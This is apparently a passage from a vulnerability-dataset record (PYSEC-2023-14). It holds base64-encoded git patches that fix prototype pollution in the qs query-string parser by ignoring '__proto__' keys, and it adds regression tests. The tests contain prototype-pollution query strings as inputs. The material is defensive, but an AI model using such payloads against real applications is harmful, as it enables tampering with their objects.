0gZWxzZSB7CisgICAgICAgICAgICB9IGVsc2UgaWYgKGNsZWFuUm9vdCAhPT0gJ19fcHJvdG9fXycpIHsKICAgICAgICAgICAgICAgICBvYmpbY2xlYW5Sb290XSA9IGxlYWY7CiAgICAgICAgICAgICB9CiAgICAgICAgIH0KZGlmZiAtLWdpdCBhL3Rlc3QvcGFyc2UuanMgYi90ZXN0L3BhcnNlLmpzCmluZGV4IGI2ZWMxYjcyLi43NzIxYWFhOSAxMDA2NDQKLS0tIGEvdGVzdC9wYXJzZS5qcworKysgYi90ZXN0L3BhcnNlLmpzCkBAIC02MjAsNiArNjIwLDY2IEBAIHRlc3QoJ3BhcnNlKCknLCBmdW5jdGlvbiAodCkgewogICAgICAgICBzdC5lbmQoKTsKICAgICB9KTsKIAorICAgIHQudGVzdCgnZHVuZGVyIHByb3RvIGlzIGlnbm9yZWQnLCBmdW5jdGlvbiAoc3QpIHsKKyAgICAgICAgdmFyIHBheWxvYWQgPSAnY2F0ZWdvcmllc1tfX3Byb3RvX19dPWxvZ2luJmNhdGVnb3JpZXNbX19wcm90b19fXSZjYXRlZ29yaWVzW2xlbmd0aF09NDInOworICAgICAgICB2YXIgcmVzdWx0ID0gcXMucGFyc2UocGF5bG9hZCwgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcmVzdWx0LAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIGNhdGVnb3JpZXM6IHsKKyAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAnNDInCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdzaWxlbnQgW1tQcm90b3R5cGVdXSBwYXlsb2FkJworICAgICAgICApOworCisgICAgICAgIHZhciBwbGFpblJlc3VsdCA9IHFzLnBhcnNlKHBheWxvYWQsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlLCBwbGFpbk9iamVjdHM6IHRydWUgfSk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcGxhaW5SZXN1bHQsCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgIGNhdGVnb3JpZXM6IHsKKyAgICAgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgICAgICBsZW5ndGg6ICc0MicKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ3NpbGVudCBbW1Byb3RvdHlwZV1dIHBheWxvYWQ6IHBsYWluIG9iamVjdHMnCisgICAgICAgICk7CisKKyAgICAgICAgdmFyIHF1ZXJ5ID0gcXMucGFyc2UoJ2NhdGVnb3JpZXNbX19wcm90b19fXT1jYXRzJmNhdGVnb3JpZXNbX19wcm90b19fXT1kb2dzJmNhdGVnb3JpZXNbc29tZV1banNvbl09dG9JbmplY3QnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KTsKKworICAgICAgICBzdC5ub3RPayhBcnJheS5pc0FycmF5KHF1ZXJ5LmNhdGVnb3JpZXMpLCAnaXMgbm90IGFuIGFycmF5Jyk7CisgICAgICAgIHN0Lm5vdE9rKHF1ZXJ5LmNhdGVnb3JpZXMgaW5zdGFuY2VvZiBBcnJheSwgJ2lzIG5vdCBpbnN0YW5jZW9mIGFuIGFycmF5Jyk7CisgICAgICAgIHN0LmRlZXBFcXVhbChxdWVyeS5jYXRlZ29yaWVzLCB7IHNvbWU6IHsganNvbjogJ3RvSW5qZWN0JyB9IH0pOworICAgICAgICBzdC5lcXVhbChKU09OLnN0cmluZ2lmeShxdWVyeS5jYXRlZ29yaWVzKSwgJ3sic29tZSI6eyJqc29uIjoidG9JbmplY3QifX0nLCAnc3RyaW5naWZpZXMgYXMgYSBub24tYXJyYXknKTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBxcy5wYXJzZSgnZm9vW19fcHJvdG9fX11baGlkZGVuXT12YWx1ZSZmb29bYmFyXT1zdHVmZnMnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KSwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBmb286IHsKKyAgICAgICAgICAgICAgICAgICAgYmFyOiAnc3R1ZmZzJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnaGlkZGVuIHZhbHVlcycKKyAgICAgICAgKTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBxcy5wYXJzZSgnZm9vW19fcHJvdG9fX11baGlkZGVuXT12YWx1ZSZmb29bYmFyXT1zdHVmZnMnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSwgcGxhaW5PYmplY3RzOiB0cnVlIH0pLAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICBmb286IHsKKyAgICAgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgICAgICBiYXI6ICdzdHVmZnMnCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdoaWRkZW4gdmFsdWVzOiBwbGFpbiBvYmplY3RzJworICAgICAgICApOworCisgICAgICAgIHN0LmVuZCgpOworICAgIH0pOworCiAgICAgdC50ZXN0KCdjYW4gcmV0dXJuIG51bGwgb2JqZWN0cycsIHsgc2tpcDogIU9iamVjdC5jcmVhdGUgfSwgZnVuY3Rpb24gKHN0KSB7CiAgICAgICAgIHZhciBleHBlY3RlZCA9IE9iamVjdC5jcmVhdGUobnVsbCk7CiAgICAgICAgIGV4cGVjdGVkLmEgPSBPYmplY3QuY3JlYXRlKG51bGwpOw==", "url": "https://github.com/ljharb/qs/commit/e799ba57e573a30c14b67c1889c7c04d508b9105.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBlZDBmNWRjYmVmNGIxNjhhOGFlMjk5ZDc4YjFlNGEyZTliMWJhZjFmIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCA0YWJjMWE3MC4uY2I3MTI3ZDkgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTcwLDcgKzcwLDcgQEAgdmFyIHBhcnNlT2JqZWN0ID0gZnVuY3Rpb24gKGNoYWluLCB2YWwsIG9wdGlvbnMpIHsKICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgIG9iaiA9IFtdOwogICAgICAgICAgICAgICAgIG9ialtpbmRleF0gPSBsZWFmOwotICAgICAgICAgICAgfSBlbHNlIHsKKyAgICAgICAgICAgIH0gZWxzZSBpZiAoY2xlYW5Sb290ICE9PSAnX19wcm90b19fJykgewogICAgICAgICAgICAgICAgIG9ialtjbGVhblJvb3RdID0gbGVhZjsKICAgICAgICAgICAgIH0KICAgICAgICAgfQpkaWZmIC0tZ2l0IGEvdGVzdC9wYXJzZS5qcyBiL3Rlc3QvcGFyc2UuanMKaW5kZXggNzYxNGEyODcuLjdjMTk4MzgwIDEwMDY0NAotLS0gYS90ZXN0L3BhcnNlLmpzCisrKyBiL3Rlc3QvcGFyc2UuanMKQEAgLTUzMCw2ICs1MzAsNjYgQEAgdGVzdCgncGFyc2UoKScsIGZ1bmN0aW9uICh0KSB7CiAgICAgICAgIHN0LmVuZCgpOwogICAgIH0pOwogCisgICAgdC50ZXN0KCdkdW5kZXIgcHJvdG8gaXMgaWdub3JlZCcsIGZ1bmN0aW9uIChzdCkgeworICAgICAgICB2YXIgcGF5bG9hZCA9ICdjYXRlZ29yaWVzW19fcHJvdG9fX109bG9naW4mY2F0ZWdvcmllc1tfX3Byb3RvX19dJmNhdGVnb3JpZXNbbGVuZ3RoXT00Mic7CisgICAgICAgIHZhciByZXN1bHQgPSBxcy5wYXJzZShwYXlsb2FkLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICByZXN1bHQsCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgY2F0ZWdvcmllczogeworICAgICAgICAgICAgICAgICAgICBsZW5ndGg6ICc0MicKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ3NpbGVudCBbW1Byb3RvdHlwZV1dIHBheWxvYWQnCisgICAgICAgICk7CisKKyAgICAgICAgdmFyIHBsYWluUmVzdWx0ID0gcXMucGFyc2UocGF5bG9hZCwgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUsIHBsYWluT2JqZWN0czogdHJ1ZSB9KTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBwbGFpblJlc3VsdCwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgY2F0ZWdvcmllczogeworICAgICAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogJzQyJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnc2lsZW50IFtbUHJvdG90eXBlXV0gcGF5bG9hZDogcGxhaW4gb2JqZWN0cycKKyAgICAgICAgKTsKKworICAgICAgICB2YXIgcXVlcnkgPSBxcy5wYXJzZSgnY2F0ZWdvcmllc1tfX3Byb3RvX19dPWNhdHMmY2F0ZWdvcmllc1tfX3Byb3RvX19dPWRvZ3MmY2F0ZWdvcmllc1tzb21lXVtqc29uXT10b0luamVjdCcsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pOworCisgICAgICAgIHN0Lm5vdE9rKEFycmF5LmlzQXJyYXkocXVlcnkuY2F0ZWdvcmllcyksICdpcyBub3QgYW4gYXJyYXknKTsKKyAgICAgICAgc3Qubm90T2socXVlcnkuY2F0ZWdvcmllcyBpbnN0YW5jZW9mIEFycmF5LCAnaXMgbm90IGluc3RhbmNlb2YgYW4gYXJyYXknKTsKKyAgICAgICAgc3QuZGVlcEVxdWFsKHF1ZXJ5LmNhdGVnb3JpZXMsIHsgc29tZTogeyBqc29uOiAndG9JbmplY3QnIH0gfSk7CisgICAgICAgIHN0LmVxdWFsKEpTT04uc3RyaW5naWZ5KHF1ZXJ5LmNhdGVnb3JpZXMpLCAneyJzb21lIjp7Impzb24iOiJ0b0luamVjdCJ9fScsICdzdHJpbmdpZmllcyBhcyBhIG5vbi1hcnJheScpOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHFzLnBhcnNlKCdmb29bX19wcm90b19fXVtoaWRkZW5dPXZhbHVlJmZvb1tiYXJdPXN0dWZmcycsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pLAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIGZvbzogeworICAgICAgICAgICAgICAgICAgICBiYXI6ICdzdHVmZnMnCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdoaWRkZW4gdmFsdWVzJworICAgICAgICApOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHFzLnBhcnNlKCdmb29bX19wcm90b19fXVtoaWRkZW5dPXZhbHVlJmZvb1tiYXJdPXN0dWZmcycsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlLCBwbGFpbk9iamVjdHM6IHRydWUgfSksCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgIGZvbzogeworICAgICAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgICAgIGJhcjogJ3N0dWZmcycKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ2hpZGRlbiB2YWx1ZXM6IHBsYWluIG9iamVjdHMnCisgICAgICAgICk7CisKKyAgICAgICAgc3QuZW5kKCk7CisgICAgfSk7CisKICAgICB0LnRlc3QoJ2NhbiByZXR1cm4gbnVsbCBvYmplY3RzJywgeyBza2lwOiAhT2JqZWN0LmNyZWF0ZSB9LCBmdW5jdGlvbiAoc3QpIHsKICAgICAgICAgdmFyIGV4cGVjdGVkID0gT2JqZWN0LmNyZWF0ZShudWxsKTsKICAgICAgICAgZXhwZWN0ZWQuYSA9IE9iamVjdC5jcmVhdGUobnVsbCk7", "url": "https://github.com/ljharb/qs/commit/ed0f5dcbef4b168a8ae299d78b1e4a2e9b1baf1f.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBmOTQ1MzkzY2ZlNDQyZmU4YzZlNjJiNDE1NmZkMzU0NTJjMDY4NmVlIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCBmZTFjZjMyOC4uZGIzMzBiNjAgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTE0Niw3ICsxNDYsNyBAQCB2YXIgcGFyc2VPYmplY3QgPSBmdW5jdGlvbiAoY2hhaW4sIHZhbCwgb3B0aW9ucywgdmFsdWVzUGFyc2VkKSB7CiAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICBvYmogPSBbXTsKICAgICAgICAgICAgICAgICBvYmpbaW5kZXhdID0gbGVhZjsKLSAgICAgICAgICAgIH0gZWxzZSB7CisgICAgICAgICAgICB9IGVsc2UgaWYgKGNsZWFuUm9vdCAhPT0gJ19fcHJvdG9fXycpIHsKICAgICAgICAgICAgICAgICBvYmpbY2xlYW5Sb290XSA9IGxlYWY7CiAgICAgICAgICAgICB9CiAgICAgICAgIH0KZGlmZiAtLWdpdCBhL3Rlc3QvcGFyc2UuanMgYi90ZXN0L3BhcnNlLmpzCmluZGV4IGE4ZTc2YTA3Li4zYmQ1OGNiZiAxMDA2NDQKLS0tIGEvdGVzdC9wYXJzZS5qcworKysgYi90ZXN0L3BhcnNlLmpzCkBAIC02MzIsNiArNjMyLDY2IEBAIHRlc3QoJ3BhcnNlKCknLCBmdW5jdGlvbiAodCkgewogICAgICAgICBzdC5lbmQoKTsKICAgICB9KTsKIAorICAgIHQudGVzdCgnZHVuZGVyIHByb3RvIGlzIGlnbm9yZWQnLCBmdW5jdGlvbiAoc3QpIHsKKyAgICAgICAgdmFyIHBheWxvYWQgPSAnY2F0ZWdvcmllc1tfX3Byb3RvX19dPWxvZ2luJmNhdGVnb3JpZXNbX19wcm90b19fXSZjYXRlZ29yaWVzW2xlbmd0aF09NDInOworICAgICAgICB2YXIgcmVzdWx0ID0gcXMucGFyc2UocGF5bG9hZCwgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcmVzdWx0LAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIGNhdGVnb3JpZXM6IHsKKyAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAnNDInCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdzaWxlbnQgW1tQcm90b3R5cGVdXSBwYXlsb2FkJworICAgICAgICApOworCisgICAgICAgIHZhciBwbGFpblJlc3VsdCA9IHFzLnBhcnNlKHBheWxvYWQsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlLCBwbGFpbk9iamVjdHM6IHRydWUgfSk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcGxhaW5SZXN1bHQsCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgIGNhdGVnb3JpZXM6IHsKKyAgICAgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgICAgICBsZW5ndGg6ICc0MicKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ3NpbGVudCBbW1Byb3RvdHlwZV1dIHBheWxvYWQ6IHBsYWluIG9iamVjdHMnCisgICAgICAgICk7CisKKyAgICAgICAgdmFyIHF1ZXJ5ID0gcXMucGFyc2UoJ2NhdGVnb3JpZXNbX19wcm90b19fXT1jYXRzJmNhdGVnb3JpZXNbX19wcm90b19fXT1kb2dzJmNhdGVnb3JpZXNbc29tZV1banNvbl09dG9JbmplY3QnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KTsKKworICAgICAgICBzdC5ub3RPayhBcnJheS5pc0FycmF5KHF1ZXJ5LmNhdGVnb3JpZXMpLCAnaXMgbm90IGFuIGFycmF5Jyk7CisgICAgICAgIHN0Lm5vdE9rKHF1ZXJ5LmNhdGVnb3JpZXMgaW5zdGFuY2VvZiBBcnJheSwgJ2lzIG5vdCBpbnN0YW5jZW9mIGFuIGFycmF5Jyk7CisgICAgICAgIHN0LmRlZXBFcXVhbChxdWVyeS5jYXRlZ29yaWVzLCB7IHNvbWU6IHsganNvbjogJ3RvSW5qZWN0JyB9IH0pOworICAgICAgICBzdC5lcXVhbChKU09OLnN0cmluZ2lmeShxdWVyeS5jYXRlZ29yaWVzKSwgJ3sic29tZSI6eyJqc29uIjoidG9JbmplY3QifX0nLCAnc3RyaW5naWZpZXMgYXMgYSBub24tYXJyYXknKTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBxcy5wYXJzZSgnZm9vW19fcHJvdG9fX11baGlkZGVuXT12YWx1ZSZmb29bYmFyXT1zdHVmZnMnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KSwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBmb286IHsKKyAgICAgICAgICAgICAgICAgICAgYmFyOiAnc3R1ZmZzJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnaGlkZGVuIHZhbHVlcycKKyAgICAgICAgKTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBxcy5wYXJzZSgnZm9vW19fcHJvdG9fX11baGlkZGVuXT12YWx1ZSZmb29bYmFyXT1zdHVmZnMnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSwgcGxhaW5PYmplY3RzOiB0cnVlIH0pLAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICBmb286IHsKKyAgICAgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgICAgICBiYXI6ICdzdHVmZnMnCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdoaWRkZW4gdmFsdWVzOiBwbGFpbiBvYmplY3RzJworICAgICAgICApOworCisgICAgICAgIHN0LmVuZCgpOworICAgIH0pOworCiAgICAgdC50ZXN0KCdjYW4gcmV0dXJuIG51bGwgb2JqZWN0cycsIHsgc2tpcDogIU9iamVjdC5jcmVhdGUgfSwgZnVuY3Rpb24gKHN0KSB7CiAgICAgICAgIHZhciBleHBlY3RlZCA9IE9iamVjdC5jcmVhdGUobnVsbCk7CiAgICAgICAgIGV4cGVjdGVkLmEgPSBPYmplY3QuY3JlYXRlKG51bGwpOw==", "url": "https://github.com/ljharb/qs/commit/f945393cfe442fe8c6e62b4156fd35452c0686ee.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBmYzM2ODI3NzY2NzA1MjRhNDJlMTk3MDllYzRhODEzOGQwZDdhZmRhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCAxNzdhNTY5ZS4uNDhjZGFkOGEgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTE0Niw3ICsxNDYsNyBAQCB2YXIgcGFyc2VPYmplY3QgPSBmdW5jdGlvbiAoY2hhaW4sIHZhbCwgb3B0aW9ucywgdmFsdWVzUGFyc2VkKSB7CiAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICBvYmogPSBbXTsKICAgICAgICAgICAgICAgICBvYmpbaW5kZXhdID0gbGVhZjsKLSAgICAgICAgICAgIH0gZWxzZSB7CisgICAgICAgICAgICB9IGVsc2UgaWYgKGNsZWFuUm9vdCAhPT0gJ19fcHJvdG9fXycpIHsKICAgICAgICAgICAgICAgICBvYmpbY2xlYW5Sb290XSA9IGxlYWY7CiAgICAgICAgICAgICB9CiAgICAgICAgIH0KZGlmZiAtLWdpdCBhL3Rlc3QvcGFyc2UuanMgYi90ZXN0L3BhcnNlLmpzCmluZGV4IDBlNDQwZjQyLi4yMTNhZGIyNiAxMDA2NDQKLS0tIGEvdGVzdC9wYXJzZS5qcworKysgYi90ZXN0L3BhcnNlLmpzCkBAIC02MjAsNiArNjIwLDY2IEBAIHRlc3QoJ3BhcnNlKCknLCBmdW5jdGlvbiAodCkgewogICAgICAgICBzdC5lbmQoKTsKICAgICB9KTsKIAorICAgIHQudGVzdCgnZHVuZGVyIHByb3RvIGlzIGlnbm9yZWQnLCBmdW5jdGlvbiAoc3QpIHsKKyAgICAgICAgdmFyIHBheWxvYWQgPSAnY2F0ZWdvcmllc1tfX3Byb3RvX19dPWxvZ2luJmNhdGVnb3JpZXNbX19wcm90b19fXSZjYXRlZ29yaWVzW2xlbmd0aF09NDInOworICAgICAgICB2YXIgcmVzdWx0ID0gcXMucGFyc2UocGF5bG9hZCwgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcmVzdWx0LAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIGNhdGVnb3JpZXM6IHsKKyAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAnNDInCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdzaWxlbnQgW1tQcm90b3R5cGVdXSBwYXlsb2FkJworICAgICAgICApOworCisgICAgICAgIHZhciBwbGFpblJlc3VsdCA9IHFzLnBhcnNlKHBheWxvYWQsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlLCBwbGFpbk9iamVjdHM6IHRydWUgfSk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcGxhaW5SZXN1bHQsCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgIGNhdGVnb3JpZXM6IHsKKyAgICAgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgICAgICBsZW5ndGg6ICc0MicKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ3NpbGVudCBbW1Byb3RvdHlwZV1dIHBheWxvYWQ6IHBsYWluIG9iamVjdHMnCisgICAgICAgICk7CisKKyAgICAgICAgdmFyIHF1ZXJ5ID0gcXMucGFyc2UoJ2NhdGVnb3JpZXNbX19wcm90b19fXT1jYXRzJmNhdGVnb3JpZXNbX19wcm90b19fXT1kb2dzJmNhdGVnb3JpZXNbc29tZV1banNvbl09dG9JbmplY3QnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KTsKKworICAgICAgICBzdC5ub3RPayhBcnJheS5pc0FycmF5KHF1ZXJ5LmNhdGVnb3JpZXMpLCAnaXMgbm90IGFuIGFycmF5Jyk7CisgICAgICAgIHN0Lm5vdE9rKHF1ZXJ5LmNhdGVnb3JpZXMgaW5zdGFuY2VvZiBBcnJheSwgJ2lzIG5vdCBpbnN0YW5jZW9mIGFuIGFycmF5Jyk7CisgICAgICAgIHN0LmRlZXBFcXVhbChxdWVyeS5jYXRlZ29yaWVzLCB7IHNvbWU6IHsganNvbjogJ3RvSW5qZWN0JyB9IH0pOworICAgICAgICBzdC5lcXVhbChKU09OLnN0cmluZ2lmeShxdWVyeS5jYXRlZ29yaWVzKSwgJ3sic29tZSI6eyJqc29uIjoidG9JbmplY3QifX0nLCAnc3RyaW5naWZpZXMgYXMgYSBub24tYXJyYXknKTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBxcy5wYXJzZSgnZm9vW19fcHJvdG9fX11baGlkZGVuXT12YWx1ZSZmb29bYmFyXT1zdHVmZnMnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSB9KSwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBmb286IHsKKyAgICAgICAgICAgICAgICAgICAgYmFyOiAnc3R1ZmZzJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnaGlkZGVuIHZhbHVlcycKKyAgICAgICAgKTsKKworICAgICAgICBzdC5kZWVwRXF1YWwoCisgICAgICAgICAgICBxcy5wYXJzZSgnZm9vW19fcHJvdG9fX11baGlkZGVuXT12YWx1ZSZmb29bYmFyXT1zdHVmZnMnLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSwgcGxhaW5PYmplY3RzOiB0cnVlIH0pLAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICBmb286IHsKKyAgICAgICAgICAgICAgICAgICAgX19wcm90b19fOiBudWxsLAorICAgICAgICAgICAgICAgICAgICBiYXI6ICdzdHVmZnMnCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdoaWRkZW4gdmFsdWVzOiBwbGFpbiBvYmplY3RzJworICAgICAgICApOworCisgICAgICAgIHN0LmVuZCgpOworICAgIH0pOworCiAgICAgdC50ZXN0KCdjYW4gcmV0dXJuIG51bGwgb2JqZWN0cycsIHsgc2tpcDogIU9iamVjdC5jcmVhdGUgfSwgZnVuY3Rpb24gKHN0KSB7CiAgICAgICAgIHZhciBleHBlY3RlZCA9IE9iamVjdC5jcmVhdGUobnVsbCk7CiAgICAgICAgIGV4cGVjdGVkLmEgPSBPYmplY3QuY3JlYXRlKG51bGwpOw==", "url": "https://github.com/ljharb/qs/commit/fc3682776670524a42e19709ec4a8138d0d7afda.patch" } ]
null
PYSEC-2023-14
null
